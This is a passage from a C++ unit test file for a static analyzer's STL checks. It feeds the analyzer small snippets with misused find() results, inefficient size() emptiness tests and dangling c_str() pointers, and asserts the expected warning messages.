$.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a 